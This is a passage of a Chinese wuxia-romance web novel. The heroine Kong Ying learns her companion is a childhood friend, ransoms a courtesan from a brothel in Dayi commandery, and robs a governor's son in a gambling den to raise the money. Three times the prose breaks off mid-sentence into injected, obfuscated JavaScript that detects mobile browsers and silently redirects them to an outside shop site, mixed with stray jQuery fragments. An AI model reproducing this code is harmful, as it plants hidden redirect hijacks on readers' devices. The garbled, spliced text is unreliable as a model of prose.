他招招手示意孔英上前坐到自己床边,直截了当道:“我们第一次见面并不是在容水县。”孔英瞪大双眼。 孔英并不是一出生就这般身体健壮。相反,她母亲怀孕时,正值护国公领军和前朝暴君的军队交战激烈,整日睁开眼睛就是忧虑护国公是否安全,我军是否败退。 被压抑气氛感染的母亲在孕期郁郁寡欢,孔英出生那日传来捷报,我军大获全胜,但亏空的身子已无法弥补,她诞下孔英后便大病小病不断,没多久就撒手人寰。 孔英从小体弱多病,被养在气候宜人的江南。楼修生第一次见她时八岁,孔英尚在襁褓之中,苍白的小脸瘦得像猴,总是安安静静,不像其他婴儿喜欢哭闹。 楼修生见证了孔英第一次说话、走路,还能用稚嫩的字迹写出他当时的名字——楼微。 “你那时最喜欢用我的名字练习,就算其他字写得像狗爬,也会将这两个字写得端端正正。”楼修生垂首。 后来孔英身体渐好,护国公将孔英带回京城,两人就此分别整整十年。直到容水县重逢,楼修生发现孔英已经认不出自己了。 “我幻想过很多次某日重逢会是何种场景,本以为你会和小时候一样喊我‘楼微哥哥’,结果——”楼修生忍不住咬牙,“你居然把我当成了‘楼薇姐姐’!” 朦胧如远山薄雾的往事慢慢揭开面纱,一只骨节分明的手掸去岁月的尘灰,轻轻敲了敲孔英的脑袋,让被遗忘的幼年浮现。 孔英愣愣,这话中的信息量太过庞大,她有点反应不过来。 她确实记得自己幼年长大的地方是片山清水秀的清幽之地,可是那段记忆太过模糊,孔英只当是京城某处的庄子,却不知道是千里之外的江南。 “所以你见我的第一面就认出了我?”楼修生点头。 似乎明白了,又似乎有了更多不明白的地方。比如楼修生为何能与护国公家三小姐有接触,比如孔英为何不记得楼修生,比如两人分别十年后又恰巧在容水县重逢。 就连护国公也从来没提起过他们在江南还有一个家。 一团浆糊的大脑直接宕机,孔英草草说了句让楼修生好好休息,便落荒而去。 刚出门碰见蒋芸,对方见孔英还奇怪:“原来你回来了呀,我还到处寻你不着。” 蒋芸本来领着孔英进周家,刚到庭院就发现跟在自己身后的孔英不见了,四下寻找不到。 她想着孔英人生地不熟总不会乱跑,只好拜托府上丫鬟替自己多留意,只是一直等诗会结束也没人给她回消息,甚至楼修生也没了踪影,只好自己孤身回来。 蒋芸仁厚豁达,不计较两人的先行离去,兴致盎然地跟孔英分享:“今日你没看到,楼微在诗会上凭借一首咏颂天下第一山的诗大出风头。没想到他平日不显山露水,居然才华斐然,还受到周长信赏识。” 此时的孔英需要一些别的东西来转移注意力,于是随口问道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288431|198482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “天下第一山,说的可是武林豪杰争相前去的岱山?” 蒋芸道:“那是当然。 “说起来,先前有位胡子拉碴的孤蓬客在我们酒楼歇脚,吹嘘他二堂哥的嫂子的大儿子的父亲的小堂弟曾在岱山有奇遇,受隐退江湖的武林盟主点拨而悟成武道。也不知是真是假。” 悟成武道?这对孔英的吸引力简直不要太大。 她从护国公府出走,最直接的原因是受不了被指婚。实际上她对于流传着各种风闻轶事的江湖神往已久,只是护国公肯定不会答应,少了这么个契机。 此时刚拿到了陈飞燕给的钱财,口袋里盘缠满满,孔英现在可谓是底气十足,想去哪里便去哪里。如今听了蒋芸的话,暂且将烦心事放到一边,恨不得直接生出翅膀飞到岱山。 孔英双眼发亮,拱手道:“多谢芸姐姐告诉我这个消息,我明天就立刻动身前往岱山。” 蒋芸被她跳脱的思绪惊到,发问:“怎么如此仓促?你不和我一起回去容水县了吗?” 孔英摇头:“江湖之大总有分别之日,我接下来要去寻找自己的道了。” 她说得满怀豪情,蒋芸也被挑起莫名其妙的壮志出来,但还是忧虑道:“如果所谓的武林盟主只是那孤蓬客酒后的胡话呢?” 孔英从围栏处向下看酒楼大堂迎来送往,众生万象在此方小小的天地短暂交叠又匆匆离去,脑子里回闪过从前听说的各种小说传奇,似有千言万语却说不得。 “不知道,但总归要上路。” 蒋芸见她心意已决就不再多劝,心里有些羡慕孔英的自由自在,只好祝她一路顺风。 孔英最不缺的就是说走就走的勇气,她行囊本就不多,一个包袱背上身就能走。只是在走之前,她犹豫许久,最后推开了楼修生的房门。 楼修生似乎还没起床,层层叠叠的床幔之下,只隐隐约约露出一道身影。 孔英挠挠脑袋,还不太能完成对方身份从小弟到青梅竹马的转换:“那个,我将要出发去岱山,你若是还愿意认我做老大,我们一起走。” 楼修生早就醒了,只是被孔英之前的态度伤到,加之听到孔英和蒋芸的对话,知道孔英就要离开去岱山,却一直不见她来找自己。 患得患失之际一夜无眠,好不容易睡去又早早醒来,差点将孔英下楼练早功的声音当作她就要抛下自己离开。 内心戏十足,恐惧两人又要分开,一个人躺在床上咬着唇默默泪流,想不通自己是如何做错了让孔英厌弃。又猜测难道对方只想收女小弟?那自己以后男扮女装也不是不行…… 突然听见推门声才明白孔英根本没想着要丢下自己,忙擦干眼泪平复呼吸,悄悄整理自己的妆发而不至于太狼狈。 孔英等了一会儿不见回应,都快要以为楼修生决定要和她分道扬镳,将要转身离去时,幽幽然传来一道声音: “……老大。” 12. 孔英要侠义救风尘 不得不说周长信真是财大气粗,即使陈飞燕只是分了一半给孔英,依旧能让他们在路上过得悠哉游哉。只是赶路途中多荒山野岭,有钱也没地方花。 因此一入大益郡,见到繁荣昌盛的街上人家,孔英迫不及待就要去食肆大吃一顿,好好犒劳自己被能淡出鸟来的嘴巴。 挑了个最豪华人最多的地方就要进去,被楼修生硬生生拉住,正恼对方怎么拦自己吃饭,只见楼修生一脸无奈地向上指指招牌。 添香阁。 孔英尴尬地停下脚步。饶是她不算见多识广,也知道这一看就是秦楼楚馆的名字。 周围人熙熙攘攘,添香阁里进大于出,孔英疑惑:“怎么这家青楼人这么多?” 有个路过的热心人替她答疑解惑:“嘿,今日可是添香阁头牌清倌人梳拢的日子,大家都先想去一睹清姿娘子的芳容呢。”说罢就挤在人流中消失不见。 清姿娘子? 孔英逆着人流走,耳朵里听进了不少对清姿娘子的溢美之词,说她生得花容月貌,且才高咏絮知书达理,曾有人为她一掷千金也难换一个笑脸。 孔英想起了当初护国公为她婚嫁之事捏造的“京城第一美人”头衔,对清姿娘子生出好奇,盘算着等会儿吃完了饭也要去凑凑热闹。 楼修生见她心不在焉,猜到几分原因,还想开口劝,就听孔英打发他回客栈,说自己有要事去做。 心里憋着一口气上不来下不去,就知道孔英根本就是把他当作个小弟,挥之即来呼之即去。楼修生偏偏不随孔英的心愿,假笑着说自己不累,可以配孔英一起去。 孔英见自己说的话居然对楼修生不管用,暗道这小弟自从表明身份是她幼年的青梅竹马之后,真是越来越不听老大的话了。 “你和我一起去干嘛?我可是要去做要事的,你去了反而帮倒忙。” 楼修生笑得阴森森:“你说的‘要事’该不会是去逛青楼吧?” 他故意将“要事”两个字咬得格外重。 孔英被说中心事,面上泛起微红,刚想随便扯个什么理由搪塞过去,突然意识到自己可是老大呀!难道老大要去做什么事,还要跟小弟商量不成? 故而理直气壮道:“是又怎样。” 楼修生被她这么堂堂正正的态度一噎:“你一个女儿家,怎么能去……”说着说着在孔英的凌厉的目光注视下,声音越来越小,最后索性破罐子破摔。 “你去也行,我要和你一起去。” 孔英略经思索便同意下来,反正自己只是去看个热闹,带上小弟就当带他见见世面。 进添香阁之前,楼修生强烈要求孔英去换一身男装,不可以女子扮相进去,要是有人醉酒欺负她可怎么办?虽然按孔英的武力值,也说不准最后是谁吃亏就是了。 又是一番折腾,等进了添香阁已经临近开始。 孔英将长发束成男子发髻,还买了假胡子装扮,气派不凡,看上去像个来寻欢作乐的中年富商。倒是楼修生高挑清丽,在一众柳娇花媚的红粉佳人中也颇为扎眼。 孔英感受到众人落在两人身上的目光,后悔刚才没给楼修生也买副胡子。她怎么感觉楼修生比她还危险呢。 添香阁人满为患,即使孔英视力上佳也几乎看不清台上景象,索性抛给了老鸨一锭银两要了个楼上雅间。老鸨见钱眼开,忙说着楼上请。 楼上视野果然好了不少,不仅离台面更近,还能无阻无遮地将台上表演看得一清二楚。 丝竹声渐弱,琵琶声如泣如诉传来,似风过溪面荡起漾漾碧波。身披浅紫色薄纱的女子款步而出,裙摆微扬,露出三寸金莲,纤纤素手拨弄琵琶琴弦,如同山间初绽的白梨花不染纤尘。 这清姿娘子艳绝无双的名头果真不白来。 孔英呼吸一滞,清楚看见一滴清泪从女子的眼角滑落,女子面无表情却无端有股楚楚动人的哀婉。 孔英喃喃自语:“她好像不太开心?” 传闻中的清姿娘子从来只卖艺不卖身,今日梳拢,恐怕不是心甘情愿。 都说人的劣性根里有一条“劝风尘从良”,孔英向来嗤之以鼻。但真轮到她站在高处,看台上女子漠然接受自己可预见的命运,心中忍不住一紧。 等反应过来,自己已经喊出了全场最高价,买下与清姿娘子共度一夜。 楼修生震惊地看向孔英:“你这是干嘛,不是说只是来看看吗?” 他平日见孔英虽也不拘小节,但从没怀疑过她会对另一个女子产生倾慕之心。怪不得之前得知他是男子后“大失所望”,难道,难道…… 楼修生脸色发白说不出话,孔英连忙解释:“我见她不情不愿,有心想帮帮她。” 楼修生听不进解释,执拗地扯住孔英的衣袖:“不行,你不能和她待在一起。” 两人拉拉扯扯的样子被推门进来的老鸨看个正着,而老鸨毕竟见多识广,微愣之后谄笑着让两人继续,还“懂事”地关上门,暗想着有钱人玩得真花。 怎么会这样啊。 孔英崩溃,不得不向对方承诺自己真没有那方面的意思,只是不忍见美人落泪才出手相助,费尽口舌,好半天才将楼修生安慰好。 老鸨趴在门上听见动静消停下来,又过了一会儿才小心翼翼地推开门,担心打扰两位贵客的“雅兴”,见两人都面红耳赤的样子也不敢多说什么。 只是请刚才出价的孔英随她前去清姿娘子的屋子。 孔英努力忽视楼修生幽怨的眼神,把对方的手从自己的衣袖上掰下来,跟着老鸨七拐八弯,来到一处清新雅致的别院,和添香阁红红粉粉的样子很不相同。 “贵人,清姿娘子在房间里等着您呐。”老鸨媚笑着推开门。 孔英内心涌上局促,还不知道要怎么面对接下来的场面,硬着头皮走进去,只闻见房内幽香阵阵拂过鼻尖,香得人几乎要迷醉在迷离的烛影里。 清姿娘子斜倚在贵妃榻上,眉目低垂,身姿曼妙,手中时不时拨着琵琶弦,袖口的梅花纹样随着她拨弦的动作微微颤动。 孔英停下脚步,不忍惊扰这美人图。 “春宵一刻值千金,贵人既然来了,为何不上前来?”清姿娘子语调轻缓,如珍珠落玉盘。 孔英头皮发麻,顿时有些手足无措,低咳两声,故意模仿男人雄浑的嗓音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288432|198482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“额,我第一次来,还不太熟练。” 琵琶声戛然而止,一声轻笑从清姿娘子喉间溢出。 孔英被她笑得脸红,不确定是不是自己做错了,难道她应该猴急地扑上去才符合男人的脾性?可是她就算扑上去也没法做什么呀! “额,清姿娘子,实不相瞒,我出钱买下今晚只是为了欣赏你的琵琵琶曲。” 清姿娘子从榻上起身,抱着琵琶走近孔英。孔英不敢动弹,身上都被她赤裸的目光盯出了一层薄汗,怀疑对方是不是已经看穿了自己的伪装。 清姿娘子用纤细的手拉起她,孔英被香风迷晕,糊涂地任由对方将她往贵妃榻上带。 孔英僵硬地在榻上坐下,感受到清姿娘子软若无骨的身躯贴在自己身上。 “贵人既然想听琵琶曲,那清姿如贵人所愿。” 烛影摇曳,转轴拨弦三两声,未成曲调先有情。让孔英宽慰的是清姿娘子没再有多余的动作,只是对方离自己太近,孔英甚至能看清她刚才落泪的眼眸羽睫轻颤。 紧绷的神经松懈下来,瞌睡虫上头。清姿的琵琶声柔和婉转,不像之前在台上般如幽谷叹息。孔英倒在清姿娘子身上,沉沉睡去。 这是孔英接连风餐露宿后,睡得最踏实的一夜,以至于早晨朦朦胧胧醒来看见陌生的装潢,还反应不过来自己是身处何处。 “贵人醒了?” 孔英浑身一震,见自己正躺在床上,掀开被子发现衣衫完整妥帖,松了口气。下床伸个懒腰,懒懒散散地冲对方问好:“早啊,你起得好早。” 清姿娘子掩唇轻笑,如出水芙蓉般的脸上眉眼弯弯。 孔英看得出神,感慨这样的人才能担得起“京城第一美人”的称号嘛。 突然想到什么,孔英一拍脑袋,差点把楼修生忘了!到时候小弟又要跟她发牢骚说抛下他不管了。 孔英急匆匆穿上鞋袜就要离开,被清姿娘子喊住:“贵人作何如此匆忙,难道是听了一夜琵琶就厌弃清姿了吗?” 孔英觉得自己好像那个负心汉,解释道:“没有没有,你的琵琶技艺是我听过最好的,只是我小弟还在外面等我呢。” 清姿娘子款步上前:“既然是小弟,多等一会儿也无妨,贵人不想再听清姿弹一曲琵琶吗?” 孔英被她说得心动,只是见她食指指尖泛红,或许是真将琵琶弹了一夜,还是拒绝道:“你还是好好休息,如果不想弹便不必弹,我先走了。” 说着就要出门,清姿娘子忙拉住她,将一方带着清香的手帕塞进孔英衣襟,叮嘱道:“贵人以后若是有空,可记得来看看清姿。” 孔英正要点头,见对方又拿出个东西轻柔柔贴在自己唇瓣上方。 “贵人细致些,莫要落下东西。” 等晕乎乎出了房门,孔英觉得或者这个比喻不太恰当,但自己真像出了盘丝洞的和尚,差点就要被女妖精困住。 清姿娘子看上去是个不食人间烟火的脱俗仙子,但是一举一动皆流露出妩媚娇柔的风情,果然人不可貌相。 叹了口气,孔英手不自觉覆上唇瓣上方的假胡子,反应过来后惊恐地瞪大双眼。 13. 孔英要赏花听琵琶 那日在添香阁等了孔英一夜,楼修生发了脾气,对着孔英阴阳怪气,又说肯定是清姿娘子手段好,才让孔英陷在温柔乡里不愿出来,让他这个小弟白白苦等。 看见清姿娘子赠的那块手帕更是恼火,吵着要孔英将自己的锦帕也随身带着,孔英只好答应下来。 孔英扶额,她看话本里的老大一呼百应豪气冲天,怎么轮到她身上就这么憋屈呢。 短暂休整补给后,楼修生催促孔英早日出发,离开大益郡。孔英却总是莫名回想起清姿娘子的那滴泪。她能帮清姿娘子第一次,但对方名义上已梳拢,总归还是要面临别的恩客。 一想到此,孔英便替清姿娘子难过,觉得那样一个人不该沦落到此,不知不觉间又走到了添香阁前。 孔英换上了之前的男装打扮,将小胡子粘得牢牢固固。老鸨一见是之前的出手阔绰的熟客,径直迎上来:“贵人您又来啦,可是要找清姿娘子?” 孔英一点头,老鸨便笑得直露牙花子,将孔英引到之前来过的别院:清姿娘子可是等您许久了,时常念叨您,对您日思夜想呢。” 上次来时不曾注意,现在才发现此处种满幽兰,微风拂过时淡雅的香气扑鼻。清姿娘子见了孔英,身姿袅袅一拜,目光流转间满是风情,唤了句:“贵人。” 孔英也不知道自己还来找清姿干嘛,只好借口说:“我又来听你的琵琶了。” 清姿娘子的青丝用一支玉簪松松挽起,眉眼带笑,顺着孔英的意思拿起琵琶,神情专注。眼前女子仙姿玉色,真不愧对“清姿娘子”的名头。 一曲终了,孔英赞叹:“你琵琶弹得真好,定是下了苦功夫。”就算是她不懂琵琶也沉浸其中。 说起这个,清姿娘子脸上流露出小女儿家的得意:“练了许多年呢。” “添香阁里有人教你吗?” 清姿娘子语气中露出讥讽:“这里哪儿会有懂琵琶的人,我的琵琶可是师从宁秋水大师。” 听到这个名字,孔英有几分吃惊。 她还记得自己在京城时和尚书家的女儿云雅娘不对付,对方瞧不起她举止粗鲁,孔英也瞧不上对方的虚伪做作。音律技艺名满天下的宁秋水正是云雅娘的生身母亲。 宁秋水出身音律世家,青出于蓝而胜于蓝,尤其琵琶技艺炉火纯青,为人清冷孤傲。所有人都以为她会寻个才子,做对琴瑟和鸣的神仙眷侣,谁料她最终却选择入尚书府作妾。 没想到大益郡的清姿娘子,居然会和京城的宁秋水有交集。 孔英奇怪问道:“你既是师从宁秋水大师,怎么会沦落到添香阁?” 清姿娘子苦笑,孔英这才得知里头还有段家道中落的往事。 清姿娘子原名安弄溪,家里有些底蕴,十六年前新朝建立后,她的父亲被指派为大益郡郡守,安弄溪成了郡守的独女,因此她的童年很是风光。 命运的转折发生在四年之后。任谁也不会想到,安家没有受战火的波及,却受到了新朝党派之争的牵连。 一场看不见硝烟的战争过后,大益郡郡守被革职,三族之内男子斩首,女子充为官妓。安弄溪当年只有十岁,一下子从云端掉落淤泥里。 后来还是她的师傅宁秋水从中斡旋,想法子将安弄溪从教坊司捞出来免受折辱。安弄溪入添香阁作清倌人,顶着“清姿娘子”的名头在此弹弹琵琶了却余生。 孔英欲言又止:“那你为何……”既然是清倌人,又怎么会被迫出卖自己的身体呢。 安弄溪垂下眼眸,琵琶声跟着她的思绪幽愁暗恨。 新上任的郡守与安弄溪的父亲归属不同阵营,本就有旧怨。郡守之子甘复偶然得知安弄溪沦落添香阁,三天两头过来落进下石,还胁迫她做自己的外室。 安弄溪宁死不从,甘复恼羞成怒便去用权势威胁老鸨。安弄溪在添香阁多年未受到什么磋磨,也有老鸨明里暗里地照料。 知道自己无论如何都逃不过这一遭,安弄溪只得答应。 “若不是遇上贵人,清姿恐怕是难逃一劫。” 孔英赶忙阻止双腿一软就要跪下的安弄溪:“没事没事,我只是顺手帮忙而已。只是我并非大益郡人,不日就要离开,你有想过接下来的路如何走吗?” 安弄溪听后说:“贵人能帮我一次就够了,只能叹清姿命该如此。” 可是帮都帮了,若不能帮到底,孔英总觉得心里不踏实,思虑后问:“你可愿意和我一起走?” 安弄溪闻言美眸含泪:“清姿不能连累贵人,郡守之子甘复最睚眦必报。若是害了贵人,清姿真是有罪。” 孔英摆摆手,她在这世间行走如果怕这怕那,还谈什么行侠仗义:“不用管他,只看你心意。” 安弄溪下拜:“清姿自然是愿意的。” 有了这句话,孔英直接找到老鸨,开门见山说要替清姿娘子赎身。老鸨眼神闪烁,没有一口回绝:“清姿娘子可是咱们添香阁的无价之宝呢,贵人可想好了?” “你只管开个价。” “五百两黄金!” 这可真是个天价。 见孔英挥袖而走的背影,老鸨一向挂在脸上的笑容落下来,转身去了安弄溪的别院。一进门就见安弄溪魂不守舍的样子,连平日不离手的琵琶也放在了旁边。 “还等着呢,人家一听要一千两黄金就走啦!” 安弄溪面上毫无波澜,似乎对这个结果并不意外。 老鸨坐到她身边苦口婆心:“这么多年,我也算看着你长大。你若是不想继续在添香阁待,不选甘复也就算了,为何之前不跟着之前那个白面书生走呢? “如今这个,看上去都还是得靠家里养着的女娃娃,估计就是一时兴起来咱们这寻个新鲜,你还真信她能帮你?” 老鸨在风月场所识人无数,孔英那种堪称拙劣的伪装如何能躲过她的眼睛。不过嘛来者皆是客,人家都扮男装了,老鸨总不可能去打人家的脸,便充愣装没看出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288433|198482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 老鸨见安弄溪不说话,当她还记挂着先前的事:“你也别怪我,我是欠了宁秋水人情要照顾你,但我得罪不起甘家。 “我不也提前跟你通过气吗,所谓梳拢只是做戏,最后不管是谁进了房间,闻了迷香立马就昏,压根动不了你一根手指。只不过就是委屈你抛头露面一回,但咱添香阁就是干这个的呀!” 安弄溪拂开老鸨想握上她的手,老鸨一愣,听见她语气淡淡: “我没怪你,我只是不甘心。” 在添香阁沉沉浮浮这么些年,安弄溪哪里还有什么傲骨。她本想借着梳拢攀高枝跳出这方天地,没想到被孔英截胡,出走的最后希望也破灭了。 拒绝甘复,是因为安弄溪看穿甘复是个没什么出息的酒囊饭桶,一旦将自己娶回家,新鲜感不再,自己就要不知道被丢到哪个角落自生自灭。 至于那个白面书生……算她勉强还有最后一丝良知,不想毁了对方的前途吧。 老鸨看着眼前人淡漠的神情,明明自己比安弄溪多活了许多年,却觉得越来越看不懂她的盘算。 此时另一边,孔英离开当然不是嫌老鸨出价太高。虽说她钱确实不够,可是既然已经答应安弄溪要带她脱离苦海,自己怎能失言? 匆匆离开只是为了想办法再去搞点钱。 一想到这孔英就忍不住唉声叹气,她在护国公府的时候哪里有这么拮据,这才刚过了几天好日子要得为三分钱两发愁。 或许这是想要成为救世济民的必经之路吧。 可她思来想去,想破脑袋也不知道从要去哪里搞来这五百两黄金,这真是把她和楼修生两个人卖了都不够。 对了!她可以去问问小弟有何法子,总不能遇到什么事情都是她这个老大冲锋陷阵。 打定主意孔英就跑回客栈找楼修生,见对方安安稳稳躺在床上小憩,心中更是不平,直接将睡梦中的楼修生摇醒:“起来,老大我有事要问你。” 被迫中断与周公相会的楼修生睡眼惺忪听她说了前因后果,大惊,第一句话便是: “你今日又去添香阁了?!” 孔英理直气壮:“是又怎样?你别管这些,快帮我想想要如何救清姿娘子。” 楼修生冷笑:“你作何要趟这浑水?一个与你无瓜葛的女子也值得你费心费力,你还真是替她着想。 “依我看,这老鸨根本不想放那什么娘子走,存心为难你罢了。你知道五百两黄金有多少吗?都能买下整座添香阁了。她也真是敢叫价,倒不如去抢。你就算……” 楼修生上下嘴皮子一碰,叽里呱啦说了一大堆,孔英听不进去。 盘旋在她脑子里的只有四个字:不如去抢。 孔英一拍手掌,颇为赞赏地拍了拍楼修生的肩膀,怒赞:“真是个好主意!收你当小弟真是不亏!” 她说罢,来如风去如风地走了,徒留楼修生在原地风中凌乱,拧着眉头回忆自己到底提了什么主意。 14. 孔英要劫复济佳人 甘复作为一个著名的纨绔子弟,行踪不难打听。白天在赌坊,夜晚上青楼,作息稳定得可怕。 此刻他衣襟敞开,一脚踏在赌桌上摇色子,整个人看起来像是被恶习掏空了精气神,眼中充满血丝,眼窝深陷,脸上蒙了一层灰暗的阴影,神情疯狂地看着四周人: “说!大还是小啊!” 赌场内浓烈的烟酒气扑面而来,人声喧嚣嘈杂,弥漫着一股压抑和紧张的气氛。 蒙面人皱了皱鼻子,忍着赌场里的污浊气,系紧面上的黑布,大步流星地上前,一把抓住甘复的衣领子猛地将他拽下桌。 “哎呦!” 甘复被拽个措手不及跌倒在地上,手中的色子骨碌碌四散开来。脑袋昏沉,眼冒金星,甘复甩了甩头,勉强看清眼前的罪魁祸首是个身量不高的蒙面壮男。 他气得直直指向蒙面人,脱口就骂:“你个狗娘养的瞎了眼来惹你爷爷我!你知道我爹是谁吗!” 蒙面人拽起他的衣领子举到半空,学着之前容水县山匪的样子,恶狠狠地直奔主题:“我管你爹是谁,快把身上的钱交出来!” 甘复还是头一回见到这么明目张胆抢劫的,在半空中挣扎着试图挣脱蒙面人的钳制,又急又气地指使先前围在他身边的人:“你们几个是摆设啊!快来给我打死这个强盗!” 周围人正欲上前,蒙面人一瞪眼,他们被侧漏的霸气震慑住,感受到了十足的压迫感,一时间踌躇着居然没有人来敢帮甘复。 甘复额头上渗出细密的汗珠,声音变得慌乱:“你们几个中看不中用的废物!” 蒙面人松开手,甘复重重摔在地上,狼狈而惊恐地大口喘息,瞳孔中蒙面人高高举起手臂,就要一拳抡到自己的俊脸上,尖叫着抬起手阻挡: “别打别打!我给,我把钱都给你!” 蒙面人将手伸过来时,甘复控制不住地瑟缩了一下,似乎还能感受到刚才的拳风,颤抖着双手掏出怀里所有的钱递出去。 数了数手里的银票,离五百两黄金还差得远。蒙面人踹了一脚趴在地上的甘复,凶狠道:“这就没啦?” 甘复身体一颤,眼神慌乱地瞥向蒙面人,声音沙哑带着哭腔,连忙摆手:“没了没了,其他的早输了!” 也好吧,大不了等甘复下次带钱来赌场时,她再来一次就是。 “这次就放过你,下次给我多准备点!”见甘复小鸡啄米般哭着点头,蒙面人大摇大摆地扬长而去。 赌场中其他人仿佛被定在原地动弹不得,屏住呼吸,目光不由自主地落在蒙面人身上。一名赌客甚至紧张得打翻了面前的茶杯,“啪”的一声脆响,在寂静的赌场里格外刺耳。 直到蒙面人转身离开后许久,赌场里的空气才稍稍松动了一些。 甘复捂着脸,惊魂未定地试图站起来,双腿发软,只能靠在来帮忙的狗腿身上,恐惧逐渐转化为愤怒,嘶吼道:“你们这些废物居然眼睁睁看着我挨打没人帮忙!” 他气急败坏:“妈了个巴子,别让我再遇上他,否则我让他跪在我面前求饶!” 当然,蒙面人就算听到了也不会在意。她躲进一条暗巷丢掉蒙面黑布,露出的面容正是孔英。 虽然受楼修生点拨打定主意要去抢劫,但也不能谁都抢,不然和那些个强盗匪徒有何区别? 孔英心中早有人选,她想起了安弄溪曾说受到甘复胁迫,对方仗着自己是郡守之子就挟势弄权,简直就是被“劫富济贫”的最佳人选。 打劫这样的恶人,孔英心里毫无负担,还觉得在替天行道。 有了钱,她直奔添香阁。 “先给你这些,我会尽快凑够钱送来,你不可让清姿娘子再见别的人。” 老鸨张目结舌,愣愣地接过银票,看向孔英的目光惊疑不定。她还真没想到孔英会再来,而且真想拿五百两黄金替安弄溪赎身。 这人真是…… 老鸨捏着手里数额不小的银票,难得说不出话,点点头算是答应孔英的要求。 “你还真别说,那小姑娘将这一把银票递给我的时候还真是豪爽大气,就像这钱是天上掉下来似的。”老鸨对着安弄溪感叹。 若是孔英知道,只怕是会心虚地摸摸鼻子。抢来的钱和天上掉下来的确实没什么两样。 安弄溪也没想到孔英走了还会回来,她本以为对方听到五百两黄金就吓得要连夜逃走呢。 按照老鸨描述的,幻想孔英该是如何豪迈地掏出银票,她忍不住笑道:“那你还真打算受她五百两黄金?” 老鸨摆摆手:“我也知道五百两黄金太多,只是想看她是不是真心想好好待你。她要是能凑出一百两,我就点头让你跟她走了。就算这小姑娘靠不住,你也有钱傍身。” 老鸨一生无子无女,将添香阁里的女儿们看作自己的亲人,更何况是她花费了更多心力的安弄溪,早就和她自己的女儿无异。 说是五百两黄金赎身钱,实际上还是替安弄溪要的。 “只是你走后又想去何处呢,还想着去京城?” 安弄溪语气坚定:“我总得知道当初到底是何人害我家破人亡,不然我这辈子都得难释怀。” 老鸨听出她话里的怨恨,叹气。 孔英结束了一天的“辛劳”回到客栈,楼修生闻见她身上的烟酒气,略感不舒服问:“你这是去了哪儿?怎么比添香阁的脂粉味还难闻,” 孔英嗅了嗅衣领,确实沾染上了赌场的气味,自觉地离楼修生远了几步:“我听你的,去赌场打劫了个恶棍。” 楼修生大惊:“我什么时候说要你去打劫了!”忙紧张地上上下下查看孔英有无伤处,“你怎么如此莽撞,赌场那种地方也是值得你去的吗,你有没有受伤?” 孔英被他如慈母般的问候搞得不甚自在,又退后几步躲开对方,若无其事道: “你难道还不相信你老大的本事?不都不用我费什么力气,那人就将钱财双手奉上了。” 楼修生脚步一顿,听到孔英说自己 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且二者性质不太一样。孔英担心自己就算能从郡守府中安全逃脱,也会被官府悬赏,到时候自己就从匡扶正义的大侠变成臭名昭著的匪徒了。 悬赏……孔英联想起无影踪陈飞燕,也不知道对方现在何处挥霍周长信给的封口费。 既然明抢不行,那暗偷呢?孔英苦恼,只恨自己轻功不佳,不然就学陈飞燕去郡守府当飞贼了。 事情仿佛停滞,没办法再往前推进。 楼修生见孔英愁眉苦脸,心中不忍:“你真就这么喜欢清姿娘子?一个清倌人罢了,天下青楼这么多,难道你个个都要去救?” 孔英说不出来自己为什么对替安弄溪赎身的事情这么执着。她不是不是知道自己有几斤几两,当然没办法救尽天下苦难人。可是这件事就这么摆在她眼前,孔英如何能眼睁睁看着而不管不顾呢。 既然她知道了,那就要去解决。 没有安清姿,也会是其他人。 楼修生一见孔英沉默不语,脸上执迷不悟的样子,就知道自己说不动对方。有时候他真觉得孔英这种牛脾气得吃大亏,可他没办法想象一个趋利避害自私自利的孔英。 “你既然心意已决,我多说无益,但你要答应我保护好自己。”又犹豫道,“我有些积蓄,你拿去吧。” 其实楼修生一点也不拿钱想帮安弄溪赎身,他心里已经认定对方是个心机深沉图谋不轨的人,哄骗着孔英替她赴汤蹈火。可要是孔英真做出什么傻事…… 孔英看着楼修生的积蓄吃惊,第一次意识到小弟居然比自己这个老大还富有,一时间不知该作何感想,没有立刻收下。 “你的心意我领了,若是最后我凑不够钱再来找你。” 虽然感动于楼修生的大气,但一下子就把人家的积蓄拿光光,孔英还得做些心理准备。 要是陈飞燕在就好了,孔英想。 15. 孔英要趁夜当大盗 陈飞燕还真在大益郡。 那日从周府离开,突然暴富的陈飞燕只觉得天上掉了大馅饼。 因为过于有原则,从来只当侠盗的陈飞燕只收人家拿回传家宝的委托费,还得时不时给师傅无影手孝敬一点,生活虽然不算拮据,也难得有这种花钱大手大脚的时候。 她早就听说大益郡勾栏瓦舍热闹非凡,心向往之,一有了钱就立刻跑来吃喝玩乐。正在著名食肆珍馐坊大快朵颐,被前来觅食的孔英抓个正着。 